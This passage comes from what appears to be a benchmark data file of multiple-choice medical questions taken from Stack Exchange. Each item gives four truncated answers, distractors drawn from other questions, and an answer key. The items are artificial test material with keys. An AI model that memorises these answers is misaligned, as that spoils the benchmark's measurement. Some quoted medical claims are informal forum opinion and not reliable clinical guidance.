normal ( 1 ). Sexual desire and arousal are normal ( 2 ). Asexuality is normal ( 3 ). Masturbation is normal ( 4 ),( 5 ). There is no problem whatsoever with these three things, although everyone blushes when they talk about them. Is Masturbation healthy? Downsides : Masturbation is not risk free. It is about as dangerous as chewing or walking ( 6 ). Some side effects are irritated skin and ruptured penis, but only if you really, really, really overdo it (Once or twice a day...", "C": "The definition of mortality rate that you've given does not match any practical definition I'm familiar with.* When people talk about the mortality rate of a disease, what they usually mean is the case fatality rate or the death-to-case ratio , which is simply defined as N d / N i , where N d is the number of deaths attributed to the disease over a given time period and N i is the total number of new cases of the disease observed during the same time period. By this definition, the current case fatality rate of 2019-nCov according to...", "D": "It is likely you are not hearing the ultrasound itself (typical frequencies are upwards of 1 MHz , far beyond what the human hearing system is capable of detecting). You are probably hearing coil whine from the electronics -- switched-mode power supplies in particular tend to operate towards the upper end of the hearing range, and the intensity of this sound changes as the power consumption does (eg. when the imaging system goes from \"idle\" to \"active\")."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/20970/does-covid-19-have-a-case-fatality-rate-of-41-is-this-formula-correct"} {"id": "medicine_365", "domain": "medicine", "question_title": "How can I prevent a cold from spreading to the people around me?", "question_body": "I have to attend classes at the university, band rehearsals, I live with my family, so I come close with many people during the day. I have to meet most of these people on a daily basis, even when I have the (common) cold. How can I prevent it from spreading to the people around me?", "question_score": 31, "question_tags": ["common-cold"], "choices": {"A": "This has been a controversial dispute for a long time and it can involve a lot of personal opinion, but I will try to answer this as scientifically as possible. There hasn't been any viable evidence that vaccines do cause autism. Several different theories have been proposed on why vaccines could cause autism, such as the ingredient in some vaccines thimerosal being harmful, but these have all been disproved by many different experiments. Many reliable sources such as the CDC 1 says that there is no link between autism an vaccines. A 2011 report 2 from the Institute of Medicine...", "B": "There are lots of things you can do to be a responsible and considerate individual. Props for even asking this question! Cover your cough to prevent air-borne transmission with the inner part of your arm or your shoulder- whichever come into contact with other people less. Wash your hands with water and soap regularly for at least 20 seconds. That means before every meal and bathroom trip at least! Try as hot as you can bare so that it kills the bacteria. Carry hand sanitizer or some antibiotic wipes in case you don't have access to a sink or water....", "C": "Let's get a few things out of the way... Sex is normal ( 1 ). Sexual desire and arousal are normal ( 2 ). Asexuality is normal ( 3 ). Masturbation is normal ( 4 ),( 5 ). There is no problem whatsoever with these three things, although everyone blushes when they talk about them. Is Masturbation healthy? Downsides : Masturbation is not risk free. It is about as dangerous as chewing or walking ( 6 ). Some side effects are irritated skin and ruptured penis, but only if you really, really, really overdo it (Once or twice a day...", "D": "There is evidence that neonatal circumcision saying that the benefits of circumcision outweigh the risks. According to a study done on neonatal circumcision [1] , the lifetime benefits of being circumcised outweighed the risks 100 to 1. Some of the risks people may associate with circumcision are very unlikely. Excessive bleeding only happens 0.1% of the time, infections 0.02% of the time, and loss of penis 0.0001% of the time. The percentage of death is only 0.00001%. Overall, it shows that males who have been circumcised require half as much medical attention as males who have not been circumcised. Also,..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/365/how-can-i-prevent-a-cold-from-spreading-to-the-people-around-me"} {"id": "medicine_120", "domain": "medicine", "question_title": "Why do doctors prescribe steroid tablets even though they know the side effects?", "question_body": "Sometimes doctors prescribe steroid tablets to suppress pain for diseases, such as arthritis . Why do they prescribe it even though they know the side effects?", "question_score": 29, "question_tags": ["medications", "steroids", "side-effects"], "choices": {"A": "I think a missing bit of information that might help you get a better sense of this practice is: steroids are miracle drugs. OK, that was in jest - no miracles here. Truth be told, though, if there is a single class of drugs that has added more quality-adjusted life-years to human history than any other, steroids must be competing with just a few antibiotic classes for that title. To make clear what we’re talking about, the term “steroid” as a label for drugs generally refers to glucocorticoids (GCs) - drugs that act like cortisol, an endogenous steroid hormone. Commonly...", "B": "I believe that those lines are craze lines. \"Craze lines are merely cracks in the enamel that do not extend into the dentin.\" They occur because of stress in your teeth, ie: grinding your teeth, biting your nails, and even routine use of your teeth. What you've said also matches up with craze lines in that you don't experience any pain. Those craze lines aren't nearly as bad as some other teeth. Craze lines rarely lead to tooth breakdown, so you almost definitely won't have to get them replaced. There are some studies that say that craze lines may be...", "C": "Assuming the person is not taking anticoagulants, it's actually quite difficult to bleed to death from dismemberment of small members (hands, feet, penis, ears, nose, etc). Even large members such as arms and legs are often survivable because the body is very good at protecting itself from blood loss. For example, transected arteries will spasm and clamp off blood flow, and loss of blood will cause the body to divert blood flow away from the extremities and to the vital organs, thereby slowing the bleeding and allowing it to clot. In fact, the whole shock process can be viewed as...", "D": "People could develop antibodies from natural exposure to the virus. The vaccine is trying to cause antibodies to exist in more people (and/or more strongly) than would express them naturally, therefore a good comparison group is a sample taken randomly in the same way as those getting the vaccine: a placebo group. At the same time, these trials tend to assess safety outcomes; again, to assess safety you want to know that effects are no worse than those in some comparison population. Comparing to placebo is typically a gold standard for this comparison. You're right that a placebo wouldn't be..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/120/why-do-doctors-prescribe-steroid-tablets-even-though-they-know-the-side-effects"} {"id": "medicine_22937", "domain": "medicine", "question_title": "Would the human seasonal coronaviruses be just as deadly as COVID-19 in a population with no prior immunity?", "question_body": "Presuming that we were able to find a person who was never exposed to any of the human seasonal coronaviruses (part of the viruses that cause the common cold), would the virus be just as deadly for that person as the SARS-CoV-2 currently circulating around the world? Or is SARS-CoV-2 uniquely dangerous?", "question_score": 29, "question_tags": ["covid-19", "infection", "common-cold", "coronavirus", "sars-cov-2"], "choices": {"A": "It turns out the answer to this is fairly simple, and but not terribly easy to find. In the 1800s a Belgian named Adolphe Quetelet (1796–1874) performed some statistics on the weights and heights of people in Europe and Britain (chiefly France and Britain) and published his seminal work, Sur l'homme et le développement de ses facultés, ou Essai de physique sociale (Treatise on Man and the Development of his Faculties, or Essays on Social Physics) in 1835. The relevant section for this can be found as a PDF for free (I believe) at the Wiley Publishing journal Obesity Research...", "B": "The definition of mortality rate that you've given does not match any practical definition I'm familiar with.* When people talk about the mortality rate of a disease, what they usually mean is the case fatality rate or the death-to-case ratio , which is simply defined as N d / N i , where N d is the number of deaths attributed to the disease over a given time period and N i is the total number of new cases of the disease observed during the same time period. By this definition, the current case fatality rate of 2019-nCov according to...", "C": "I'm guessing the \"iron\" test was actually a hemoglobin test (though I'm certainly no expert in blood donation screens...). I suspect your nurse is reporting a folk tale rather than any true difference. Unfortunately, medical professionals are not always an excellent source of scientific knowledge. I looked for papers that have actually compared measurements in the two hands. Here's one: Patel, A. J., Wesley, R., Leitman, S. F., & Bryant, B. J. (2013). Capillary versus venous haemoglobin determination in the assessment of healthy blood donors. Vox sanguinis, 104(4), 317–323. https://doi.org/10.1111/vox.12006 Capillary fingerstick samples were assayed by HemoCue in 150 donors....", "D": "The seasonal coronaviruses attach exclusively to cells with a ciliated epithelium. Coronaviruses invade the respiratory tract via the nose. After an incubation period of about 3 days, they cause the symptoms of a common cold, including nasal obstruction, sneezing, runny nose, and occasionally cough (Figs. 60-1 and 60-2). The disease resolves in a few days, during which virus is shed in nasal secretions. There is some evidence that the respiratory coronaviruses can cause disease of the lower airways but it is unlikely that this is due to direct invasion. Other manifestations of disease such as multiple sclerosis have been attributed..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/22937/would-the-human-seasonal-coronaviruses-be-just-as-deadly-as-covid-19-in-a-popula"} {"id": "medicine_29276", "domain": "medicine", "question_title": "Why do doctors ask for your race?", "question_body": "Things like gender and age and height and weight make perfect sense to me, but I don't really see why most doctors ask for your race. Is there a medical reason behind this or is it just for identification purposes?", "question_score": 28, "question_tags": ["epidemiology", "research", "genetic-predisposition", "race", "ethnicity"], "choices": {"A": "In general, the benefit of flu shots is to the general population. Taking the cited value of 40%-60% from the CDC, we can say that it might be a coin toss for you personally to be protected from influenza by the shot. However, if many thousands of people take the flu shot, even if it only works on 40% of them, it helps protect the remaining population from the spread of the virus (AKA herd immunity). This is especially important to those within the population who cannot access the shot or cannot receive it due to a preexisting medical condition....", "B": "Let's get a few things out of the way... Sex is normal ( 1 ). Sexual desire and arousal are normal ( 2 ). Asexuality is normal ( 3 ). Masturbation is normal ( 4 ),( 5 ). There is no problem whatsoever with these three things, although everyone blushes when they talk about them. Is Masturbation healthy? Downsides : Masturbation is not risk free. It is about as dangerous as chewing or walking ( 6 ). Some side effects are irritated skin and ruptured penis, but only if you really, really, really overdo it (Once or twice a day...", "C": "I'm guessing the \"iron\" test was actually a hemoglobin test (though I'm certainly no expert in blood donation screens...). I suspect your nurse is reporting a folk tale rather than any true difference. Unfortunately, medical professionals are not always an excellent source of scientific knowledge. I looked for papers that have actually compared measurements in the two hands. Here's one: Patel, A. J., Wesley, R., Leitman, S. F., & Bryant, B. J. (2013). Capillary versus venous haemoglobin determination in the assessment of healthy blood donors. Vox sanguinis, 104(4), 317–323. https://doi.org/10.1111/vox.12006 Capillary fingerstick samples were assayed by HemoCue in 150 donors....", "D": "Race and ethnicity are risk factors in many diseases. Examples include, but are not limited to, cystic fibrosis and spinal muscular atrophy. There is also an epidemiological purpose of collecting this information. It is important to know if some disease is affecting some races or some ethnicities disproportionately. This is how it was found out that race or ethnicity is a risk factor in certain diseases in the first place. RFERENCES: Sheets L, Johnson J, Todd T, Perkins T, Gu C, Rau M. Unsupported labeling of race as a risk factor for certain diseases in a widely used medical textbook...."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/29276/why-do-doctors-ask-for-your-race"} {"id": "medicine_13735", "domain": "medicine", "question_title": "Why should I avoid milk when on antibiotics?", "question_body": "I'm taking antibiotics (specifically, amoxicillin clavulanate ) to fight off an ear infection. As she prescribed my antibiotics, my doctor told me not to eat milk products for a few days, then only eat yogurt until I was off the antibiotics altogether. To be honest, I'm thinking about ignoring this advice and just reducing the milk products I eat. On a typical day, I drink multiple glasses of milk, eat of bowl of oatmeal with milk, eat meals with lots of cheese, and eat ice cream at night. Cutting all of this out for a few days leaves me without much to eat! What are the downsides to eating milk products while on antibiotics? Is it just that, since my gut bacteria will be weakened, I risk digestional problems? Or can the consequences be more severe?", "question_score": 27, "question_tags": ["medications", "gastroenterology", "antibiotics", "milk", "gut-microbiota-flora"], "choices": {"A": "Overall, there has been inconsistent data on the effects of using zinc lozenges to treat the common cold. Most studies have also been done on children, which may lead to more uncertainty about its effects on adults, but some of the studies I will mention have been tested on adults. One study showed the effects of using zinc to prevent the common cold in schoolchildren. They found that between the two groups they studied (one took zinc sulfate tablets, the other placebos) that the zinc-supplemented group had less of a chance of getting the cold. They concluded that zinc supplements...", "B": "The definition of mortality rate that you've given does not match any practical definition I'm familiar with.* When people talk about the mortality rate of a disease, what they usually mean is the case fatality rate or the death-to-case ratio , which is simply defined as N d / N i , where N d is the number of deaths attributed to the disease over a given time period and N i is the total number of new cases of the disease observed during the same time period. By this definition, the current case fatality rate of 2019-nCov according to...", "C": "I believe that those lines are craze lines. \"Craze lines are merely cracks in the enamel that do not extend into the dentin.\" They occur because of stress in your teeth, ie: grinding your teeth, biting your nails, and even routine use of your teeth. What you've said also matches up with craze lines in that you don't experience any pain. Those craze lines aren't nearly as bad as some other teeth. Craze lines rarely lead to tooth breakdown, so you almost definitely won't have to get them replaced. There are some studies that say that craze lines may be...", "D": "Products high in calcium and magnesium should not be taken at the same time as antibiotics of the tetracycline (tetracycline, doxicycline, etc.) class, and milk should also be avoided with the quinolone class. They have the ability to bind the antibiotic in the gut, decreasing absorption. There is no reason to avoid dairy products while taking other antibiotics (such as the penicillin class, the one you're taking. The clavulanic acid is to increase it's strength against certain bacteria.) If the antibiotic package insert (or the pharmacists's instruction sheet) states it should be taken on an empty stomach, take it with..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/13735/why-should-i-avoid-milk-when-on-antibiotics"} {"id": "medicine_6", "domain": "medicine", "question_title": "What should I consider when deciding to remove a blister or not?", "question_body": "While playing indoor soccer a couple days ago, I was fouled and fell forwards so that my hand skidded across the court a bit. It left the blister as you see in the image here: What should I consider when deciding to remove this blister? I could open and drain this blister, removing the excess skin afterwards, or leave it as is. I figure since it's in a place that is likely to be touched/disrupted I should remove it since it's likely to open anyways.", "question_score": 26, "question_tags": ["wound", "removal"], "choices": {"A": "In the blister shown, the likelihood of rupture is decreased because of the thickness of the epidermis on the palm of the hand, so you can leave it alone until the underlying area re-epithelializes. You'll know this is happening because of the decreased pain and the slow reabsorption of the fluid. Eventually you will just peal it off what's left of the blister, finding clean new skin underneath. But this is a great starting point for an answer about the treatment of blisters in general: is it better to leave them alone, drain the fluid, or de-roof them (take the...", "B": "Because leprosy and multiple myeloma are conditions for which other treatment options are limited. All treatments have side effects, some more debilitating than others. The trick with pharmacology is to balance the benefit of treatment with the hazards of the side effects. Take cancer chemotherapy. The drugs we use for cancer chemotherapy are horrible poisons. We literally use derivatives of chemical weapons to treat cancer. Why do we deliberately poison cancer patients with what amounts to a weapon of mass destruction? Because if we don't, the cancer will kill them. In pharmacology there's a concept of a therapeutic window ....", "C": "Great question! I think it's answerable as an overview, but please know this is only the tip of the iceberg.* Summary : Yes, we have deficits of certain blood products in certain locations at certain times that affect patient care. However, a small percentage of blood product does expire unused (because it wasn't the right product [see background] in the right place at the right time). A little background Donated blood is not usually transfused into a patient as whole blood. Instead, it's broken down into several components which are transfused in different clinical scenarios. The issues of storage and...", "D": "The short version is that in 2016 the polio vaccine changed. A more thorough explanation requires some background on the immunology of polio and its vaccines, which is not straightforward. Polio virus is usually harmless, it reproduces in the gut and spreads through a fecal-oral route. In ~99% of infections it only causes mild diarrhea. In the remaining 1% of cases, however, it gets into the bloodstream and from there enters nerves, causing paralysis and/or respiratory failure. There are two types of vaccine: inactivated polio vaccine (IPV) and oral polio vaccine (OPV). IPV is a shot of killed virus particles..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/6/what-should-i-consider-when-deciding-to-remove-a-blister-or-not"} {"id": "medicine_312", "domain": "medicine", "question_title": "When does the use of headphones become harmful?", "question_body": "Generally, it is known if you listen to music through headphones a lot of time, you damage your ears. But how long should I use the headphones? And how loud can they be so as not to affect my hearing?", "question_score": 26, "question_tags": ["hearing"], "choices": {"A": "Most dentists - for most procedures - aim for a painless experience. If there is reason to keep some pain sensation intact, the dentist will inform you, and ask at appropriate intervals if you can feel pain. The efficacy of lidocaine and other local anesthetics depends on how closely your nerve distribution comes to the norm (they will inject the environs of the \"normal\" anatomical position of the nerve), how much anesthetic is injected, whether there are local factors which alter the local tissue pH (e.g. presence of an abscess or infection), how quickly it is removed from the site,...", "B": "Using headphones at a sufficiently high volume level may cause cause trauma to cochlear structure in the inner ear which gives rise to temporary or permanent hearing impairment or deafness . Sound pressure is measured in decibels and exposure to 75dB (even after long exposure) are usually safe. However, long or repeated to sounds at above 85dB can cause hearing loss. The louder the sound, the shorter the amount of time it takes for NIHL to happen. The risk is higher especially in loud places as volume often needs to compete with the background noise. For example, the average sound...", "C": "I think a missing bit of information that might help you get a better sense of this practice is: steroids are miracle drugs. OK, that was in jest - no miracles here. Truth be told, though, if there is a single class of drugs that has added more quality-adjusted life-years to human history than any other, steroids must be competing with just a few antibiotic classes for that title. To make clear what we’re talking about, the term “steroid” as a label for drugs generally refers to glucocorticoids (GCs) - drugs that act like cortisol, an endogenous steroid hormone. Commonly...", "D": "People could develop antibodies from natural exposure to the virus. The vaccine is trying to cause antibodies to exist in more people (and/or more strongly) than would express them naturally, therefore a good comparison group is a sample taken randomly in the same way as those getting the vaccine: a placebo group. At the same time, these trials tend to assess safety outcomes; again, to assess safety you want to know that effects are no worse than those in some comparison population. Comparing to placebo is typically a gold standard for this comparison. You're right that a placebo wouldn't be..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/312/when-does-the-use-of-headphones-become-harmful"} {"id": "medicine_32541", "domain": "medicine", "question_title": "Why are iron levels different in the left and right hands?", "question_body": "Yesterday I donated blood. When the nurse performed a finger prick test of iron using my left hand, she indicated that the level was too low. However, she then asked to perform the test again on my right hand. Surprisingly, the iron level was adequate. She said that this is a well known phenomenon, specifically that the dominant hand often has higher iron levels. (For references, I am right handed.) How can this be? I would have thought that, given blood circulates throughout the entire body, it would be uniform everywhere.", "question_score": 26, "question_tags": ["blood-tests", "blood-circulation", "hand", "iron"], "choices": {"A": "Great question! I think it's answerable as an overview, but please know this is only the tip of the iceberg.* Summary : Yes, we have deficits of certain blood products in certain locations at certain times that affect patient care. However, a small percentage of blood product does expire unused (because it wasn't the right product [see background] in the right place at the right time). A little background Donated blood is not usually transfused into a patient as whole blood. Instead, it's broken down into several components which are transfused in different clinical scenarios. The issues of storage and...", "B": "In general, the benefit of flu shots is to the general population. Taking the cited value of 40%-60% from the CDC, we can say that it might be a coin toss for you personally to be protected from influenza by the shot. However, if many thousands of people take the flu shot, even if it only works on 40% of them, it helps protect the remaining population from the spread of the virus (AKA herd immunity). This is especially important to those within the population who cannot access the shot or cannot receive it due to a preexisting medical condition....", "C": "I'm guessing the \"iron\" test was actually a hemoglobin test (though I'm certainly no expert in blood donation screens...). I suspect your nurse is reporting a folk tale rather than any true difference. Unfortunately, medical professionals are not always an excellent source of scientific knowledge. I looked for papers that have actually compared measurements in the two hands. Here's one: Patel, A. J., Wesley, R., Leitman, S. F., & Bryant, B. J. (2013). Capillary versus venous haemoglobin determination in the assessment of healthy blood donors. Vox sanguinis, 104(4), 317–323. https://doi.org/10.1111/vox.12006 Capillary fingerstick samples were assayed by HemoCue in 150 donors....", "D": "I believe that those lines are craze lines. \"Craze lines are merely cracks in the enamel that do not extend into the dentin.\" They occur because of stress in your teeth, ie: grinding your teeth, biting your nails, and even routine use of your teeth. What you've said also matches up with craze lines in that you don't experience any pain. Those craze lines aren't nearly as bad as some other teeth. Craze lines rarely lead to tooth breakdown, so you almost definitely won't have to get them replaced. There are some studies that say that craze lines may be..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/32541/why-are-iron-levels-different-in-the-left-and-right-hands"} {"id": "medicine_410", "domain": "medicine", "question_title": "Do zinc lozenges really help the common cold?", "question_body": "For years I've been seeing advertisements for zinc supplements for the common cold, and I've heard recommendations from people who swear that they work, either wiping out a cold completely or shortening its duration. The studies I have seen were for zinc gluconate specifically. Apparently, once they had a nasal spray that was even more effective, but was pulled off the market for causing permanent anosmia. Is it a placebo effect, or is there actually evidence that zinc helps? If so, does it depend on the formulation (zinc gluconate, zinc acetate or zinc citrate?) Are there any risks?", "question_score": 25, "question_tags": ["treatment", "common-cold"], "choices": {"A": "Overall, there has been inconsistent data on the effects of using zinc lozenges to treat the common cold. Most studies have also been done on children, which may lead to more uncertainty about its effects on adults, but some of the studies I will mention have been tested on adults. One study showed the effects of using zinc to prevent the common cold in schoolchildren. They found that between the two groups they studied (one took zinc sulfate tablets, the other placebos) that the zinc-supplemented group had less of a chance of getting the cold. They concluded that zinc supplements...", "B": "The short version is that in 2016 the polio vaccine changed. A more thorough explanation requires some background on the immunology of polio and its vaccines, which is not straightforward. Polio virus is usually harmless, it reproduces in the gut and spreads through a fecal-oral route. In ~99% of infections it only causes mild diarrhea. In the remaining 1% of cases, however, it gets into the bloodstream and from there enters nerves, causing paralysis and/or respiratory failure. There are two types of vaccine: inactivated polio vaccine (IPV) and oral polio vaccine (OPV). IPV is a shot of killed virus particles...", "C": "There is evidence that neonatal circumcision saying that the benefits of circumcision outweigh the risks. According to a study done on neonatal circumcision [1] , the lifetime benefits of being circumcised outweighed the risks 100 to 1. Some of the risks people may associate with circumcision are very unlikely. Excessive bleeding only happens 0.1% of the time, infections 0.02% of the time, and loss of penis 0.0001% of the time. The percentage of death is only 0.00001%. Overall, it shows that males who have been circumcised require half as much medical attention as males who have not been circumcised. Also,...", "D": "Race and ethnicity are risk factors in many diseases. Examples include, but are not limited to, cystic fibrosis and spinal muscular atrophy. There is also an epidemiological purpose of collecting this information. It is important to know if some disease is affecting some races or some ethnicities disproportionately. This is how it was found out that race or ethnicity is a risk factor in certain diseases in the first place. RFERENCES: Sheets L, Johnson J, Todd T, Perkins T, Gu C, Rau M. Unsupported labeling of race as a risk factor for certain diseases in a widely used medical textbook...."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/410/do-zinc-lozenges-really-help-the-common-cold"} {"id": "medicine_30853", "domain": "medicine", "question_title": "Why is the rate of circulating vaccine-derived poliovirus disease booming?", "question_body": "The wikipedia entry on polio vaccines has the 1st graph below, showing that the rate of vaccine derived polio has increased massively over the last few years, with the rate of 1089 cases in 2020 compared to 56 - 71 per year from 2010 to 2014. The WEF page on the vaccine has the second graph below, show a fairly modest increase in the rate of immunisation coverage over this time. What is the reason for a roughly 20 fold increase in vaccine derived polio in such a short period of time, when vaccination rate has increased by only a fraction? (source: who.int )", "question_score": 25, "question_tags": ["vaccination", "infectious-diseases"], "choices": {"A": "The short version is that in 2016 the polio vaccine changed. A more thorough explanation requires some background on the immunology of polio and its vaccines, which is not straightforward. Polio virus is usually harmless, it reproduces in the gut and spreads through a fecal-oral route. In ~99% of infections it only causes mild diarrhea. In the remaining 1% of cases, however, it gets into the bloodstream and from there enters nerves, causing paralysis and/or respiratory failure. There are two types of vaccine: inactivated polio vaccine (IPV) and oral polio vaccine (OPV). IPV is a shot of killed virus particles...", "B": "This event occurred in the US. In the US, enzootic (dog-to-dog) canine rabies virus has been virtually eliminated through vaccination and stray control programs, making wild animals the primary concern. It is quite true, as @EMT_Jedi stated, that rabies is usually caused by an animal's saliva, usually introduced by a bite (e.g. rabid cats, raccoons, etc.) However, this is not true of bat-related rabies. There is reason to be vaccinated after any strange contact with a bat. The most dangerous and common route of rabies exposure is from the bite of a rabid mammal. An exposure to rabies also might...", "C": "Drug molecules, even when stored safely inside a tablet\\capsule, inside a closed container, upon a high shelf (hopefully), are still exposed to the environment, and are thus exposed to all of the chemical processes and reactions that go about all around us (to name just a few - oxidation, hydrolysis, isomerization, polymerization, and more). Depending on the type of drug molecule and its functional groups, the molecule may undergo all kinds of chemical processes that may change its structure and\\or properties. Therefore, drugs (and foodstuffs, as mentioned in the comment above) degrade and decompose over time, and are thus given...", "D": "The IARC has concluded that cell phones are a \"possible carcinogen\" due to the amount of evidence going both directions. The gist of it is summarised on the website itself: Cell phones emit radiofrequency energy, a form of non-ionizing electromagnetic radiation, which can be absorbed by tissues closest to where the phone is held. The amount of radiofrequency energy a cell phone user is exposed to depends on the technology of the phone, the distance between the phone’s antenna and the user, the extent and type of use, and the user’s distance from cell phone towers. Studies thus far have..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/30853/why-is-the-rate-of-circulating-vaccine-derived-poliovirus-disease-booming"} {"id": "medicine_15061", "domain": "medicine", "question_title": "Is it advisable for a healthy male in his early 40s to take the influenza vaccine?", "question_body": "Influenza vaccines do not have satisfactory effective rates of preventing flu. Flu vaccination reduces the risk of flu illness by between 40% and 60% among the overall population during seasons when most circulating flu viruses are well-matched to the flu vaccine, according to the CDC . This is not considered highly effective for a vaccine. Furthermore, there is the risk of mercury that is harmful to the body, according to Natural News . Does it make sense for a healthy male in his early 40s to take the influenza vaccine, particularly when flu is an irritant but nowhere near deadly? Flu jabs come with mercury danger and does not sound effective. I am a lay man, so I may have miss out something important. Please correct me if I am wrong.", "question_score": 24, "question_tags": ["vaccination", "influenza", "mercury"], "choices": {"A": "People could develop antibodies from natural exposure to the virus. The vaccine is trying to cause antibodies to exist in more people (and/or more strongly) than would express them naturally, therefore a good comparison group is a sample taken randomly in the same way as those getting the vaccine: a placebo group. At the same time, these trials tend to assess safety outcomes; again, to assess safety you want to know that effects are no worse than those in some comparison population. Comparing to placebo is typically a gold standard for this comparison. You're right that a placebo wouldn't be...", "B": "In general, the benefit of flu shots is to the general population. Taking the cited value of 40%-60% from the CDC, we can say that it might be a coin toss for you personally to be protected from influenza by the shot. However, if many thousands of people take the flu shot, even if it only works on 40% of them, it helps protect the remaining population from the spread of the virus (AKA herd immunity). This is especially important to those within the population who cannot access the shot or cannot receive it due to a preexisting medical condition....", "C": "The short version is that in 2016 the polio vaccine changed. A more thorough explanation requires some background on the immunology of polio and its vaccines, which is not straightforward. Polio virus is usually harmless, it reproduces in the gut and spreads through a fecal-oral route. In ~99% of infections it only causes mild diarrhea. In the remaining 1% of cases, however, it gets into the bloodstream and from there enters nerves, causing paralysis and/or respiratory failure. There are two types of vaccine: inactivated polio vaccine (IPV) and oral polio vaccine (OPV). IPV is a shot of killed virus particles...", "D": "There is evidence that neonatal circumcision saying that the benefits of circumcision outweigh the risks. According to a study done on neonatal circumcision [1] , the lifetime benefits of being circumcised outweighed the risks 100 to 1. Some of the risks people may associate with circumcision are very unlikely. Excessive bleeding only happens 0.1% of the time, infections 0.02% of the time, and loss of penis 0.0001% of the time. The percentage of death is only 0.00001%. Overall, it shows that males who have been circumcised require half as much medical attention as males who have not been circumcised. Also,..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/15061/is-it-advisable-for-a-healthy-male-in-his-early-40s-to-take-the-influenza-vaccin"} {"id": "medicine_815", "domain": "medicine", "question_title": "Can being cold or wet be a significant influence in getting the common cold?", "question_body": "As most people know, it's a common thing to say something like \"better wear a sweater, otherwise I'll get the cold tomorrow.\" In my limited understanding, the common cold is caused by a virus. How does being cold affect this? Can being cold and/or wet be a significant influence in your chances of 'catching' the common cold?", "question_score": 22, "question_tags": ["immune-system", "infection", "common-cold"], "choices": {"A": "Overall, there has been inconsistent data on the effects of using zinc lozenges to treat the common cold. Most studies have also been done on children, which may lead to more uncertainty about its effects on adults, but some of the studies I will mention have been tested on adults. One study showed the effects of using zinc to prevent the common cold in schoolchildren. They found that between the two groups they studied (one took zinc sulfate tablets, the other placebos) that the zinc-supplemented group had less of a chance of getting the cold. They concluded that zinc supplements...", "B": "TLDR: The pathogenesis of eczema is multifactorial, but broadly follows a process of genetic (or epigenetic, in the case of the early gut microbiome) dysregulation relating to barrier integrity proteins like filaggrin with corresponding changes in the skin microenvironment's ceramide content. Following these changes in protein structure and function and lipid quantity, the compromised barrier is predisposed to irritation and infection, which leads to an abnormal immunological response as Th2 cells work to resolve inflammatory processes in the skin (it's not clear how B cells participate in the pathogenesis of eczema at this time). Treatment options for mild-moderate eczema are...", "C": "Great question! I think it's answerable as an overview, but please know this is only the tip of the iceberg.* Summary : Yes, we have deficits of certain blood products in certain locations at certain times that affect patient care. However, a small percentage of blood product does expire unused (because it wasn't the right product [see background] in the right place at the right time). A little background Donated blood is not usually transfused into a patient as whole blood. Instead, it's broken down into several components which are transfused in different clinical scenarios. The issues of storage and...", "D": "This is a pretty old old-wives tale, taking many forms: don't go out into the cold while it's raining, or without a hat, with wet hair, without a warm coat or scarf, without boots, etc., \"or you'll catch your death of cold.\" The old wive's tale was immortalized by Jane Austin in her book, Pride and Prejudice , when the heroine's sister Jane falls ill after getting a soaking in the rain. This has been studied extensively. A New York Times article describes one such uncomfortable-sounding study: In the 1950's, Chicago researchers repeated the experiment on a larger scale with..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://medicalsciences.stackexchange.com/questions/815/can-being-cold-or-wet-be-a-significant-influence-in-getting-the-common-cold"} {"id": "medicine_874", "domain": "medicine", "question_title": "How do I know if I'm flossing correctly?", "question_body": "I recently started flossing regularly. However, I'm not sure if I'm doing it right because sometimes my gums bleed. If I floss the right way, should it never bleed? Aside from bleeding, how can I know if flossing makes a positive effect? What should I notice in 2 weeks time? How about 4 weeks? 3 months? 1 year?", "question_score": 22, "question_tags": ["dentistry"], "choices": {"A": "There is evidence that neonatal circumcision saying that the benefits of circumcision outweigh the risks. According to a study done on neonatal circumcision [1] , the lifetime benefits of being circumcised outweighed the risks 100 to 1. Some of the risks people may associate with circumcision are very unlikely. Excessive bleeding only happens 0.1% of the time, infections 0.02% of the time, and loss of penis 0.0001% of the time. The percentage of death is only 0.00001%. Overall, it shows that males who have been circumcised require half as much medical attention as males who have not been circumcised. Also,...", "B": "Dental flossing, essentially is done to maintain periodontal health , in hard to reach areas. Areas which are not used to any \"friction\" so, they will react in a rather singular manner in comparison to our exposed gums, per say. Thus, providing you presently have good oral health i.e. you don't have gingivitis which causes bleeding of the gums amidst brushing. Initially, flossing will cause inflammation and minor bleeding however, if the bleeding is rather severe it could indicate a periodontal disease and require medical intervention. Gums, if they are \"virgins\" to interdental flossing scene, will be tender , and...", "C": "Race and ethnicity are risk factors in many diseases. Examples include, but are not limited to, cystic fibrosis and spinal muscular atrophy. There is also an epidemiological purpose of collecting this information. It is important to know if some disease is affecting some races or some ethnicities disproportionately. This is how it was found out that race or ethnicity is a risk factor in certain diseases in the first place. RFERENCES: Sheets L, Johnson J, Todd T, Perkins T, Gu C, 